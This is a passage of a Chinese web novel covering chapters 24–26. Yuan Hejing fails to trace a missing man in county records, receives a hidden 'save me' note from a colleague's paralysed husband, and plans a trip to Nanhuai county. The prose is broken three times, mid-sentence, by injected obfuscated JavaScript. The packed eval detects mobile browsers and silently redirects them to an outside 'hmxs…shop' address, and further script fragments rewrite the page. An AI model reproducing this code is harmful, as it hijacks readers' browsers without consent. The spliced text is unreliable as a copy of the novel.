云青算是县衙的老熟人,无需守卫禀报就能直接进去。户房主事是个年过半百却精神矍铄的老人,见到来人,先是恭敬叫一声“云录事”,而后又问:“今日再次前来,可是之前的调查出了什么问题?” 云青神色淡淡,沉着道:“少卿吩咐的事尚未结束,我的确为此而来,不过少卿夫人是为案件到访,还请主事允予通行。” “既是案件所求,县衙没有不允的道理。只是户房重地,来往者需将身份缘由一一道来,还望少卿夫人理解。” 那主事说得认真,元和景也不由得严肃起来,将杜二牛夫妇前来报案的事从头到尾说过,只是省去了他们被县衙赶走的那段,之后又将保证和来访者记录都填好,如此才可进入户房。 方才听了两人谈话后,她也知晓了昨日云青的行踪,不过祝长生究竟让云青来户房所为何事,这恐怕也不是她能打听的了。 在户房外间稍等片刻后,主事抱着几本厚厚的书册归来,道:“近十年外来人员营商置业的记录皆在此处了,少卿夫人可自行查看,但请莫要损毁或是私藏,否则不好向大人交代。” “我明白了,有劳主事。” 接过那几本厚如地砖的册子,元和景直觉今日恐怕是场硬仗,深吸口气后便埋下头翻开第一本,期间云青随主事进了更里面的屋子,应该是为祝长生吩咐的事而去。 所幸户房的人记录有序,书写也很工整,元和景不怎么费力就能看到相关的人名。她凭此一页一页地翻看下去,对时间流逝也浑然不觉,毕竟是自己正儿八经接手的第一个案子,说什么她也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957012|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出番成果来。 可到底是功夫偏负有心人……还是命运偏偏要跟她作对?总之就是在她将所有书册都翻过一遍后,并没有发现一个名为杜少桓且籍贯在南淮县的人。 “这人来京城十年竟毫无作为?!!!” 顾不上还在户房,元和景几乎是存着一口闷气将这句话喊了出来。 声音不出意外地惊动了好多人,连门口看守的衙役都一脸探寻地望了进来。元和景一屁股落回凳子上,生无可恋地盯着面前的白墙失神,内心满是挫败和不甘……她怎么也没想到会是这个结果。 “事已至此,多想无益,不如先回去,现在时候也不早了。” 冷静的声音从背后传来,带着云青一贯的肃然持重。元和景即便再怎么难过,也承认她的确说得有道理,只好一同跟主事道完别后离开了县衙。 街上人声鼎沸,日头也挂得正高。元和景垂头丧气地走在云青身边,心里的苦闷还无处宣泄,被冷落已久的肚子倒先大声抗议了起来。 她下意识摸了摸,有些不好意思地问:“云青,你饿不饿啊?” 此时已过大理寺供应午饭的时间,在外面吃过后再回去无疑是最好的选择。元和景反正身上还有些碎银,点两碗面决计没问题,就是不知道云青愿不愿意。 云青没什么感情地看了她一眼,道:“我相公还在家中等待,我要回去为他做饭,你若是不嫌弃,便一起吧。” “要的要的……”元和景一听有饭吃就忙不迭点头,“我巴不得呢,怎么会嫌弃。” 有关云青这位生活无法自理的夫君,元和景也在石岩口中听说过了。只是她原以为云青不过午饭吃得比大家迟,却没想到是赶回家中自己做饭,还要照顾夫君的饮食起居,难怪经常熬夜处理大理寺的公务。 一边是堆积如山的工作,一边是称得上拖油瓶的家人,若换作是旁人,恐怕早就受不了了,云青却不知已经做了多少个年头……元和景默默感叹,心头对云青的敬佩之情又上升了好几个台阶。 不过据贺均所说,云青被皇帝提拔至京城也是在十年前,倒是和杜少桓来京城的时间恰好撞上了。 两人一路穿过两条街,最后进了处巷子,这边的房屋大多低矮,院子也并不大,站得稍高些便能从隔墙望到邻居家的正门口,要想翻进来则更是轻而易举。 云青轻车熟路地走到一扇年代久远的木门前,推开时发出刺耳的“吱呀”一声响,她在门口后顿了顿,然后回头道:“家里条件一般,见谅。” 元和景连忙摆手,道:“无妨无妨,虽然地方不大,但我看四处都很干净,也是个不错的居所。” 她夸得真心,云青听完却面色古怪地笑了下,带着隐约的讽刺意味,让元和景心里不禁“咯噔”一下。 再看时,对方已经恢复了往日的淡然神情,一边往闭合的正屋门口走,一边说:“待会我去厨房备菜,你在屋内稍坐片刻,既是同僚,茶水就自便吧。” 元和景将这些一一应下,进门后就在桌边的长凳上坐下。屋内装潢简单,除了必要的木家具外便无其他装饰,里侧的两扇门前都装了帘子,云青自顾自去了其中一间,独留她自己对着茶杯干瞪眼。 这片巷子整体采光都很一般,明媚的阳光照不进屋子,经年累月积攒起来的水汽把空气变得潮湿且阴寒。元和景出门时还不觉得冷,坐在此处却忍不住小幅度发起抖来。 菜下锅激起一片滋滋啦啦的声音,正是从云青刚才进去的屋子里传来的。而在这时,另一扇门里突然响起男人的咳嗽声,期间掺杂着不明意义的“呼嗬”,像年久失修的破风箱,听得人心里一阵阵发怵。 24. 暗屋有诡 男人就这么咳了好一阵子,一声比一声嘶哑,到最后像是要把肺呕出来似的。听得元和景都不忍心起来,可云青自始至终没给过半点回应,或许是烧油声太大,把声音盖住了。 想了想,元和景还是把面前还没动过的水端起来,朝那扇紧闭的漆黑单扇门走去。 毕竟是人命关天的事,要真出什么问题就不好了。她保证只是进去递杯水,确定人没事后就立马出来,绝不多管! 待她走到门前时,那咳嗽声总算停了下来,空气里只剩下粗重急促的喘气,直让人也跟着肺疼起来。 元和景本以为云青的相公只是身有残疾,却没想到还患着如此严重的病,云青照顾他这么多年都未能治好,想来应是什么难以根治的顽固恶疾了。 她很轻地叹了口气,这时另一侧的门被忽然打开,云青正端着一盘绿油油的炒青菜,面色微诧地看着她。 “呃……刚听见里面有人咳嗽,云青你去看看吧。” 不知怎的,元和景突然有些无措,明明自己也没做什么,可对上云青那双古井无波的眼眸时,她总有种被审视的错觉。 “你进去过了?” 冰冷的盘问吐出,瞬间本就寒凉的空气冻结起来。云青说得无情且直接,跟盘问大牢里的犯人没什么两样,可语气里还隐约透着警惕,似乎在怕她真的进去了。 屋内的粗喘声终于减弱了些,穿插着断断续续的几声轻咳,能听出那人喉咙已经哑得不成样子了。 可云青对此置若罔闻,病人当前,追问元和景的行踪却是她认为的头等大事。 元和景一时间觉得有些莫名其妙,但还是老实答道:“没有,我刚走到这里,你就出来了。” 云青没接话,只是定定地看着她,像在找她表情里的破绽。元和景也终于忍不住皱起眉,将方才就出现的不适感展现出来。 “如此……”云青明显注意到了,于是收回目光,将手里的小青菜递给她,“劳烦少卿夫人帮我把菜放回桌上,我去看看情况,稍后便回。” 话说至此,元和景不接也不行。目睹着云青推门走进,她虽没专门去瞧,却也能窥见里面漆黑一片,半点光亮也没有,真不像人能住的地方。 元和景不禁暗暗咂舌,像这种比牢房采光还差的环境,连她一个健康的人都不愿意进去,云青的夫君又是怎么忍受得了的,待久了真的不会病情恶化吗? 怎么说这也是别人的家事,她没资格指指点点,只好端着小青菜回桌边坐下。没一会,里屋的门被推开,云青推着轮椅缓缓走了出来。 木头轮椅边缘已经发旧,明显被用过好些年头。可更让元和景关注的,却不是这个—— 那轮椅上歪歪斜斜半躺着的,已经不能算作是人了。 莫说是男子,她连瘦成一张纸片的女子都鲜少见到。身形枯槁得像是被抽光血的干尸,皮肤泛着毫无生气的惨白,皮包骨似的手无力地搭在腿上,眼窝深深凹陷,漆黑的眼睛里满是麻木和疲惫。 “我夫君身患重病,形容骇人,让少卿夫人受惊了。不必担忧,我会将他推远些,以免影响到少卿夫人。” 百般滋味涌上心头,元和景有些沉重地别开眼,道:“没事。” 只凭这一眼,她也能看得出来,若这人没遭受过如此劫难,也应当是一位文质彬彬、模样极佳的公子,又怎会沦落到被拘束在这暗无天日的小屋子里? 不过多时,几盘朴素清淡的家常菜被端了上来,油盐不重,很好地保留住食材最初的味道,可对于元和景这种无辣不欢的人来讲,属实还是寡淡了些。 肚子里饿得咕咕直叫,再加上不好拂了云青的面子,元和景只好硬着头皮将一碗米饭配着菜吃完。期间云青一直没动筷子,反而先夹上些菜,给轮椅上无法动弹的男人一勺一勺喂去。 除了机械地张口和咀嚼之外,他好像再做不出其他反应,从头至尾既没说话,也未伸手扶一扶。元和景心里隐约有了猜测:这人不仅手脚残废,极有可能还是个哑巴。 看着云青认真喂饭的样子,她忍不住感叹:“云录事既要办公,还要照顾这个家,这些年来很是辛苦吧。” 云青手上微顿,随即拿起腿上的帕子为男人擦嘴,动作是说不出的温柔细致,她不紧不慢道:“谈不上辛苦,这本就是我该做的。” 此处虽然残破,但胜在相伴的两人情真意切。元和景正这样想着,却见轮椅上的男人竟开始微微颤抖起来。 或许是身体没有支撑点,他抖动的幅度并不大,可正因如此,才显得这反应格外令人深刻,像是对什么东西有着发自内心的恐惧。 擦干净嘴角后,云青又将最后一口饭给男人喂下,正好背对的姿势让元和景看不见她的表情,只听见她轻飘飘地道:“毕竟,他只有我了啊。” 若放在平常,任何人听到这句话都会觉得很甜蜜,但她语气里似有若无的笑意,让元和景心底没来由地发寒。 喂完饭后,云青自己再简单吃过,之后只需收拾妥当便能回大理寺。出于白蹭人家一顿饭的亏欠心理,元和景也起身帮忙端菜,就在她毫无防备地伸手时,一旁轮椅上的人突然又发起抖来。 这次不同于刚才,幅度更大,动作也更剧烈,由于没有手脚的支持,他只能像蛇那样左右扭动着腰腹。元和景下意识怔在原地,云青刚进了厨房,现在只有她见证着这场突如其来的变故。 男人本就瘦弱无力,做出这些已是用尽了全身力气。可那双眼睛却却死死地盯着她,其中带着让人心惊的恳求和渴望。 元和景心头震颤,现在也不知道该如何是好。她当然能看出对方有话要说,但此情此景,男人又是个哑巴,她就算想做些什么也是有心无力。 厨房在一阵碗碟碰撞声后恢复安静,云青应该马上就会回来。男人应该也意识到了这点,咬着牙更用力地晃动着身体,动作一下比一下急切。 木轮椅发出不堪重负的悲鸣,末了,在“砰”的一声响后,人和椅子直直摔在了地上。 而也是在这时,一个泛黄发旧的废纸团从他的袖口里掉落出来,滚到了离元和景两步的位置。 她迷茫地去看男人的脸,见到他拼命示意的眼神后,元和景下意识蹲身将纸团捡了起来。将其塞进袖子里时,云青正好从厨房里出来。 想佯装无事已经来不及,元和景只好顺势去扶轮椅,嘴里喊着:“你怎么突然就摔下去了,吓我一大跳啊……” 很快,云青疾步走来,厉声问:“怎么回事?” 强压下不安的心跳,元和景一只手虚虚掌着轮椅,尽量做出无辜的样子,道:“不知道啊,我刚准备帮忙端菜呢,他‘砰’一声就倒下去了,给我吓得魂儿差点丢了。” 云青用了些力气将轮椅扶起,而后低头去看桌子上的菜。还好她原本就抱着帮忙的心思,有两个菜碟肉眼可见地变了位置,便可侧面佐证她那番解释的真伪。 而在这过程中,男人又恢复了死气沉沉的样子,任由云青将他扶起,然后坐在轮椅上被推回屋里。 “稍等片刻,我先将他安置好。” “好。” 目送着那扇门在眼前合上,元和景才敢将胸腔里憋的一口浊气吐出来。有徐徐微风从门口贯入,落在指尖上时带起丝丝凉意,也让元和景从紧张中回过神来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957013|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 紧贴手腕的袖口上,属于纸团的触感还清晰停留在那里,彰示着方才的一切都不是梦。 去户房查人算是无功而返,不得已只好再从杜二牛夫妇下手。两人回到大理寺时,正巧碰见他们在同贺均哭诉,如此,一场审问便在下午时分进行。 两夫妇的整体表现和上次没什么不同,对杜少桓以前的事也能说上一些,不过在提及“老黏着少恒的野丫头”时,何清莲的语气格外重些。 “仗着自己跟少恒上同一个学堂,三天两头的问他要钱,迷得这小子连家都不想回了。” 元和景不知如何接这话,只好看看贺均,又看看云青。前者面色还算镇定,后者则是泰然自作地低头记录着,好像这一切都与她无关。 将杜少桓当年之事详细审问过后,他们对案情依然毫无头绪。而碍于云青就在身边,元和景也不好将男人给的纸团拿出来,进度就这样陷入凝滞。 “今日就先问到这里,两位请先回吧,日后若有需要,我们还会叨扰。” 贺均说罢,就引着夫妇两人离开,可杜二牛像是突然发现了什么,直愣愣看着站起身的云青,神色里有犹豫、怀疑,也有震惊。 而被看的人却镇定许多,面不改色地回望过去,黑眸沉静如潭。就在贺均与元和景不解时,何清莲又哆哆嗦嗦地开口:“你……你不是……” 最初的惊讶过后,两夫妇的表情瞬间转换成愤怒。何清莲更是说着“你竟然还有脸活着”就要伸手去打云青。还好贺均反应更快,一个闪身过去便将其擒在原地。 元和景也是本能地想去阻拦,可不仅连人也没碰到,袖中的纸团还因用力过猛被甩了出来。 内心正感到不妙时,云青已经将目光落在地上那个泛黄的事物上了。 片刻后,她一边往纸团走近,一边冷静地道:“你们认错人了。” 生怕他们在闹出什么事端,贺均连忙将两人连请带吓地送走。而元和景则是脚下生风地三两步上前,想将纸团捡回来。 可她还是晚了一步,只能眼睁睁看着云青将其捏进指尖,然后向她投来审视的眼神。 元和景无比确定,若她此刻说不出个所以然来的话,云青绝对会当场将纸团打开来看。 从她夫君今日的表现来看,他应是不想让云青知道这个东西的存在,甚至不惜摔下去也要将纸团给她,想来其重要程度可见一斑。 元和景隐约有直觉,如果任凭云青看到的话,将会带来无法挽回的后果。 电光火石间,她急急出声:“你……你别看,不然我可丢人丢大发了。” 云青皱眉,面上的疑惑之色更甚,看看纸团后又看看她,显然不打算被这么含糊其辞的解释说服过去。 “哎呀!”元和景状似无奈地叹一声,又装出为难至极的样子,吊足了人的胃口后才神神秘秘地凑到云青跟前,压低了声音说,“我告诉你,你可别跟别人说。” “其实啊,是祝长生,他……那方面,有点问题。我这个当娘子的心里着急啊,就想着找些土方子给他治治。” 说着,元和景下巴轻点,指向的正是那个纸团。 “你就别看了吧,祝长生毕竟是堂堂大理寺少卿,这要是让他知道了,他少卿的颜面何存,威严又何存啊!” 元和景一番话说得苦口婆心,看起来真像是位替夫君着想的劳心妻子。云青没在她的表现里看出破绽,淡淡地说了句“原来如此”后,便把纸团递回给她。 麻溜地将东西收回袖子里,元和景心里忍不住叹起气来。来大理寺这么些时日,武功没多少长进,撒谎的本事倒是精进不少,真不知是喜是忧。 25. 此夜同眠 这借口看起来倒是天衣无缝,毕竟云青断不会亲自去问祝长生是否不举,除非她是不想在大理寺待了。 但或许有良心驱使,元和景还是很短暂地感觉对不起祝长生,因而在放衙后遇到对方时,她非常殷勤地跑上前去,扶住他的胳膊关心道:“夫君忙碌了一天,真是辛苦啊。” 回少卿府的马车还没到,祝长生有些意外地挑起一边眉毛,将对方滴水不漏的笑脸打量一阵后,才真诚地开口:“遇到麻烦了……还是惹祸了?” “呃……” 也不怪他是这个反应,毕竟两人的挂名夫妻做了已有两个多月,这期间她从未主动叫过这个称谓。现下元和景出口得自然,却让当初一口一个“夫人”的祝长生犹疑了起来。 元和景一时语塞,只能悻悻地将手收回。正好此时马夫驾着车匆匆而来,她灵机一动,道:“我有些事想说,不如夫君今日捎我一程?” “既是夫妻一场,又何必如此见外,走吧。” 面无表情地说完这句,祝长生便自顾自跨上马车。他走得着急,故而没踩稳,差点打滑时扶住了车厢才免于摔倒。 心里泛起糖水般的泡泡,他慢而长地吐出一口气,像是要把什么躁动不安的东西压下。 “夫君……”他喃喃地说着,然后不由自主地发出一声轻笑。 元和景利落地上了车,在祝长生身旁坐定后,就在袖子里掏那个劫后余生的纸团。展开一看,两个乌黑凌乱的墨疙瘩赫然出现在眼前。 “这写的什么?” 她忍不住发问,皱眉把纸打着转地看了好几遍,可无论从哪个角度看去,这都只是张字画不明的废纸。 线条杂乱,墨迹粗重,笔画顺序更是无从谈起,而且此人手上几乎毫无力道可言,既无转折也无停顿,只是把许多横竖不定的歪歪扭扭堆在了一处,说是醉酒时信手挥就的涂鸦都不为过。 可要真是画……这又画的是什么呢? 祝长生本在闭目养神,闻声睁开眼看去,只见元和景将手里那张皱巴巴的纸捏着角转了半圈。可也就是这个角度,他猝然出声—— “救命” 元和景有些茫然地抬头:“什么?” 他捏着少女的手,将那边缓缓转向她,然后道:“你仔细看看,这像不像是‘救命’二字?” “莫要被边缘较细的笔画干扰,你且顺着中间的走势描上一遍。” 元和景依言照做,先将那最突出的一竖找出,接着将那些串联起来的点分别点好……越是描绘,她也越是觉得祝长生说得有道理。 “要真是这两个字的话,那周围的这些又算什么,会不会还有别的可能?” 她一边说着,一边在脑海里将所有学过的字往上凑。祝长生为帮忙,便挪着身子靠近了些,清浅的呼吸洒在元和景捏纸的指节上,还有些则是落在她耳侧。 有点痒,但很暖,混着淡淡的草木香气,竟让她思绪乱飞的脑子突然心猿意马起来。 好像有些太近了…… 元和景强迫自己把注意力放回到正事上来,凝眉思索了好一会后,才不确定地开口:“应该是……没有了。” “嗯。”祝长生笃定的单音在距离她耳朵很近的地方响起,“应当就是‘救命’二字。” 救命……可怎么会是救命? 那男子身患重病又全身瘫痪,若非得云青照料,恐怕情况只会比现在更糟。可是话又说回来,只凭她今日那一遭,云青家里奇怪的地方的确也有不少。 漆黑一片的里屋、莫名警惕的眼神,还有那个男人的状态…… 元和景将纸叠好收起,心事重重地朝祝长生看去,却见他双手搭于膝上,一副好整以暇的样子,就等着自己先开口。 相处这么些时日,她大概也能摸清祝长生的习惯,对于自己的事不会多问,但若是主动说起,他定然会洗耳恭听。 这边杜少桓的事情还没个头绪,另一边云青相公又递来这么个烫手山芋,真叫人不知该如何是好了。 “相公你说……”稍稍安抚好心情,元和景用尽量委婉的方式开始打听,“云青云录事,这个人怎么样?” 原本在听到开头二字时,祝长生还很是殷切地又凑近了些,但此问题一出,他的眉眼耷拉下来,话里也带上了几分公事公办的语气。 “论公事,云录事是很有力的帮手,大理寺的卷宗浩如烟海,但若是吩咐给云录事,她不出半日就能将所需的卷宗全部找来。” 元和景赞同地点了点头,毕竟云青的工作能力如何,她也是有目共睹的。 顿了顿,祝长生又道:“但在其他方面,我与她接触尚少,故不敢妄加评判。但平心而论,我看不透她。” 此话一出,元和景也深有体会。她虽来到大理寺不久,但跟周子萧几人的相处都称得上不错。只有云青,元和景敬佩她,却不敢亲近她,甚至有些害怕她。 即便将云青的身世底细都了解过了,元和景还是不敢说有多了解她。 在外人口中如此强大而传奇的人,如此勤勉而忠贞的人,为何会让朝夕相处的相公拼了命也要送出“救命”二字? 思绪被卷入无尽的浓雾,她有些挫败地叹了口气。正这时,祝长生说:“到了,下车吧。” 元和景心不在焉地踏出马车,抬眼却瞧见“少卿府”几个大字。如此她才想到,上车时忘记给车夫招呼一声,她也就顺理成章地跟着祝长生来了这里。 而另一人对此倒是接受良好,趁着元和景还在发愣时,祝长生已经吩咐了下去:“叫人走一趟元将军府上,就说三小姐今日在少卿府留宿,让他们不必担忧。” “是。” 元和景有些怀疑地看了他一眼,问:“你故意的?” 祝长生面上含着浅笑,信步踏上台阶,语速闲慢,徐徐道:“夫人哪里的话。” “且不说这些,只是夫人再不来,备好的晚膳就要放凉了。” 这么说着,元和景的肚子也很适时地发出抗议,白天她在云青家里吃得勉勉强强,现在若不及时添上些香辣有味的食物进腹,怕是连今夜都要撑不过去了。 还好,满桌红多绿少、菜辣汤鲜的食物并没有辜负她。 上了年纪的管家笑得眼睛眯成一条缝,帮忙盛汤的丫鬟一口一个“夫人”叫得勤快。元和景原本还打算解释自己只是无意到访,但想了想还是作罢,毕竟她担着少卿夫人的名头,住回这少卿府也是迟早的事。 这么琢磨着,元和景目光随意一扫,却是将祝长生盛着愉悦的眉眼看个正着。 对视的瞬间,祝长生放下筷子,将她面前的空碗拿起,清汤撞着白瓷,在其中漾出赏心悦目的波纹。 “今晚的菜可还合胃口?若是有不满意之处,便告诉下人,他们之后也好改正。” 元和景认真地思考了一番,道:“没什么不满意的,若是每天都能吃上这样的饭,我死也无憾了。” 祝长生把汤放好,收回手时略带责怪地看了她一眼,道:“既然喜欢,那不如每日正午去我书房,我会吩咐陈伯提前送饭。” “当真?”元和景先是双眼亮了亮,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967735|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后又狐疑地盯着男人,“你不是在伙房同大家一起用饭的吗?” 说到这里,她又突然想起来,周子萧曾说祝长生是这些日子才去伙房的,以前可从没在午饭时见到过他。 祝长生一时不答,旁边伺候的陈伯却以为是得了吩咐,恭敬地道:“夫人有所不知,老夫人去静养前之前特地嘱咐过,让属下每日给少卿送饭。只是前几日,少卿才让我先不必去了。” “哦,原来如此。”元和景高深莫测地点点头,几个字的调调却好似转了山路十八弯,揶揄之意显而易见,“这才去伙房几天啊,怎么之后又不去了?” 祝长生怎会听不出她话里的意思,只是他向来不动如山,闻言也只是一边悠悠然地用勺子搅动着汤,一边道:“见夫人的样子,我为何要去伙房,夫人似乎比我更清楚,不如说来听听?” 满心准备看好戏,下的套却被人推了回来。当初在周子萧说及此事时,元和景心里其实早有猜测,可让她大大方方地说出来,这跟当众承认“祝长生喜欢自己”又有何区别? 于是她闭口不答,只是将碗里的汤咕咚咕喝了个干净。 用过饭后,祝长生还要去书房处理些事宜,元和景便在府里无所事事地闲逛起来。按说这少卿府她也住过一段时间,只不过当初又是狐狸又是周家坟的掏心案,她何曾有过如此悠闲的时候? 亭台楼阁,水榭假山,绿意盎然也相映成趣。待月色拢于周身时,跟着伺候的丫鬟才道:“夫人,该休息了。” 脑子里忽而想起一些事,元和景心底顿觉不妙,等她洗漱过后被带到祝长生……哦不,或许该称作他们夫妻两人的婚房前时,她的预感便越发真实了。 之前在轿子里约好,要等下次休沐再将她接回。今日算是择日不如撞日,竟直接将这事提前了来。 门被“吱呀”一声推开,暖融融的烛火里,祝长生仅着单薄素净的寝衣,闻声并未抬头,只是将手中书卷又翻过一页。 “要不我还是去……” 莫名浮现的紧张让她下意识想逃,即便这并非是他们第一次同床。 当初刚嫁进少卿府时,也是在这间屋子,她搂着那只火红的小狐狸睡了好几夜,当时也不觉得有什么。可要躺在身边的是个活生生的人……那便不可一概而论了。 “时间也不早了,就寝吧。” 底气不足的尾音被淹没在祝长生的话中,他将手中的书合下放好,然后走到元和景身前,道:“夫妻同住本是理所应当,若非掏心案情况特殊,我们其实本该如此了。” 他将一只手伸到元和景面前,五指白净而修长,映着明亮而浅淡的烛光,似是在邀请,也像是在等她的决定。 一如祝长生本人,不紧不慢、不温不火,明明端着只手遮天的身份,却还是给她留足了空间和自由。 暖光里的男人眉目如画,五官分明,神情不似白日里严肃,却也透着几分郑重。片刻后,他沉声道:“我说过,你若不愿,我不会强求。” 或许是一个须臾,又或许过了很久,元和景遵循着心头的悸动,缓缓将手放进了那微凉的掌心里。 只是不等她再犹豫,皮肤相触的刹那,那只手已经被紧紧握住,随后一阵眼花后,周身又被熟悉而温和的清香包裹了起来。 但不知为何,元和景能感觉到,祝长生的身体在颤。 湿润的吐息徐徐落在耳边,男人双臂箍得很紧,像藏着什么稀世珍宝,吐出的字句轻得像一阵呢喃,不一会儿便消融在清冷的月色中。 “这一刻,我也等了许久了。” 26. 便访南淮 夜还很长…… 今晚月色澄明,映得床帘上一片亮色,身下床榻柔软,被子暖而不闷,就连身侧的呼吸也是和缓规律的。 可即便如此,元和景现下已是第三次入眠失败了。 她小心翼翼地又翻了个身,扭头正好看清祝长生的侧脸,笼在不甚分明的一片暗色之中,朦胧间只见流畅而分明的五官线条,像远山雾霭里高低交错的峰。 元和景捏着近乎虚无的嗓音唤道:“祝长生。” 片刻等待后,无人应答。 “还真睡了啊。” 她重重地叹了口气,又将身子转回平躺的姿势,盯着那片空洞的顶梁发呆。 细数今日作为,她也算劳累了一天,可了无音讯的杜少桓、云青夫君冒险递来的求救纸团,还有身侧躺着的大活人,都足以让大脑里一刻也清静不下来。 一片无边无际的沉默中,元和景突然发觉身侧的人动了动。原本松弛的神经瞬间又紧绷起来,她下意识闭上了眼睛,装作睡着的样子。 其实她也说不明白,只是在躺上这张床的时候,身心就不由自主地开始紧张了。 翻身的动静算得上稍纵即逝,正当元和景以为他又睡过去了时,一侧肩膀却突然贴上温热又柔软的触感。 随即是腰侧、小腿……最后整个身子都被捞进了那个熟悉的怀抱里。 “睡不着?” 音色尚有些沙哑,吐字含糊,尾音也带着似有若无的钩子,显然是刚刚才醒。 元和景一时间有些愧疚,转过身去面对着他,问道:“吵醒你了?” “并非。”祝长生顺势将她搂紧,再开口时嗓音已清明了许多,“我本就睡眠极浅,每每夜半时总会惊醒。” 元和景眨了眨眼,问:“为何?” “狐族本性而已。”祝长生道,“你呢,为何这么晚了还未入眠,是不习惯,还是不舒服?” 四周一片经悄悄的,即便是大声说话也毫无后顾之忧的时候,两人依然把声音放得很轻,凭着拥抱拉近的距离正好允许,也只允许两个人听清。 “我仔细想了想,如果京城找不到杜少桓的踪迹,那就只能回他老家南淮县看看了。” 思忖须臾,元和景把心底的想法吐了出来。 不消片刻,祝长生的声音在头顶响起:“未尝不可。” 顿了顿,他又补充:“不过南淮县距京城有二十余里,你一人去我不放心,让周子萧和十一陪同,如何?” 元和景正愁没有同伴,听到此言自是欣然应允。况且这也意味着,她将要离开京城一趟,为办公事而出远门。 光论离家一事,对于元家三小姐来说并不稀奇,只要她想,随时都可以动身。只是这次与往常不同,她是为了正事而去,要做的也绝非赏景享乐,而是寻找线索,找到杜少桓的下落。 但同时,这也意味着她要离开大理寺,并且有好几天不能回家,也不能见到祝长生了。 失落感突然涌来,就连元和景本人一时也说不清所以然,只能下意识地又往那个怀抱里凑近了些。 像是察觉到她的心事,祝长生的下一句便紧接着来到—— “而且我也有些事情要去隔壁的苍山县调查,所以这次出去,我会和你一起。” 果不其然,元和景立马阴云转晴,但她有意不让自己表现得太明显,只是故作正经地清了清嗓子,问:“这么巧啊?” 说着,她感觉祝长生的胸膛很突然地震动了一下,抬头才发觉他在笑。正摸不着头脑时,男人语气暧昧,不答反问:“如果我说是专门为你前去的,你信也不信?” “不信。” 元和景干巴巴地说完,然后一个翻身背对着男人,警告似的道:“我要睡了,别说话,明天还要去大理寺呢。” 这么说完,她便真的闭上了眼睛,决心今晚再也不理祝长生了。 民间话本多写狐狸以美色诱人,以妖言惑心。而在和祝长生相处的这些日子里,她终于明白,话本所言非虚。 再这么说下去,她也快要被这只臭狐狸摄去心智了! 夜色且长,不知名的小虫鸣声清脆,调子拖得又慢又长。身后的人也很配合地不再说话,只是虚揽着的手还搭在元和景腰间,将相贴的皮肉熨出一片独特的温度。 困意徐来,此夜无梦。 定好了前去南淮县探查的计划后,一行人于三日后出发。大理寺暂且交由云青跟贺均打理,十一习惯独行,不与众人同道,驾马行车的事就自然而然落在了周子萧头上。 一路出了京城,人声减去,虫鸣渐盛。宽阔的大路边上,满山新绿自眼前绵延铺展,空气里满盛着草木的清新香气,伴着凉沁沁的风,晕开周身的一片温润山野色。 为避免太过招摇,众人此次皆换下了大理寺制服。元和景一身浅绿搭着嫩黄,倒和外面的景色正好搭配,她从出城后就一直保持着捞起窗帘往外看的姿势,好像外面有什么稀奇东西似的。 祝长生将那背影又看过一眼后,终于忍不住道:“在南淮县,这样的景色并不少见。倒是你,再把这风吹下去,今晚就该着凉了。” 很快,元和景放下了帘子,身体坐正时忍不住感叹:“虽说都是山水草木,可这与京城工匠造的景就是不同,即便杂乱无序,却是别有一番生机之美!” 祝长生看着对方一脸兴致勃勃的样子,调笑道:“既然如此精神,想必你对此次调查有十足的把握,那就尽力而为。” 元和景听出这话里的未言之意,于是连忙拉住他的胳膊,道:“好说好说,少卿大人要帮忙,我自然乐意。夫君有什么宝贝,快快交出来吧。” 和那满含期待的目光对视片刻,一枚玄铁材质、通体漆黑的令牌出现在祝长生掌心,而那正中央以纯银浇筑的两个大字,正是“少卿”。 触感微凉,捏在手里时能感觉到上面蜿蜒流转的暗纹,翠玉平安扣下的穗子和牌身如出一辙,整体看来和周子萧那块差别不大,但看上去更为庄重正式些。 “若有什么实在应付不了的事,便拿出这个,即便那些普通百姓不识,各县村的官员定会卖我份薄面。” 元和景将这腰牌小心收好,顿时计上心来,嫣然一笑后道:“若是遇到麻烦,我就把这牌子掏出来,大喊一声‘大理寺少卿在此’,想想就威风!” 祝长生忍不住笑,却碍于风度不敢太放肆,只能无奈地摇了摇头以作掩饰,但唇角加深的弧度却是骗不了人的。 温和的空气里像化开了一块糖,渲染出轿内的一片融融欢欣。 笑过后,祝长生略微正色,道:“真到了十万火急的时候,别忘了我给你的哨子。” 提起那枚哨子,元和景自从收下后便一直戴在脖子上,藏在里衣和外衣之间,摸上去时有轻微的硌人感。 念及此,她下意识伸手摸了摸,那点突兀的触感叫人更安心了些。 这一行虽远,但身边有两位武将坐镇,再加上自己也已今非昔比,元和景顿时信心更盛,头脑一热便对男人道:“你敢不敢跟我比比,看谁先办完正事回到大理寺,输家要答应赢家一个要求。” 